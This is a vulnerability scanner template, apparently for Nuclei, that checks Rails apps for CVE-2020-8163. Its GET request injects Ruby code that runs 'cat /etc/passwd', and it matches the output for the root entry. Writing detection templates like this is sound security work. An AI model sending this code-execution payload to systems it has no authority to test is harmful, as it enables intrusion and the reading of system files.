2020-09-15 19:25:55 +00:00
|
|
|
id: cve-2020-8163
|
2020-08-22 21:47:58 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
name: Potential Remote Code Execution on Rails
|
|
|
|
author: tim_koopmans
|
|
|
|
severity: high
|
|
|
|
description: Tests for ability to pass user parameters as local variables into partials
|
|
|
|
# reference: https://correkt.horse/ruby/2020/08/22/CVE-2020-8163/
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:[x*]:0:0:"
|
|
|
|
part: body
|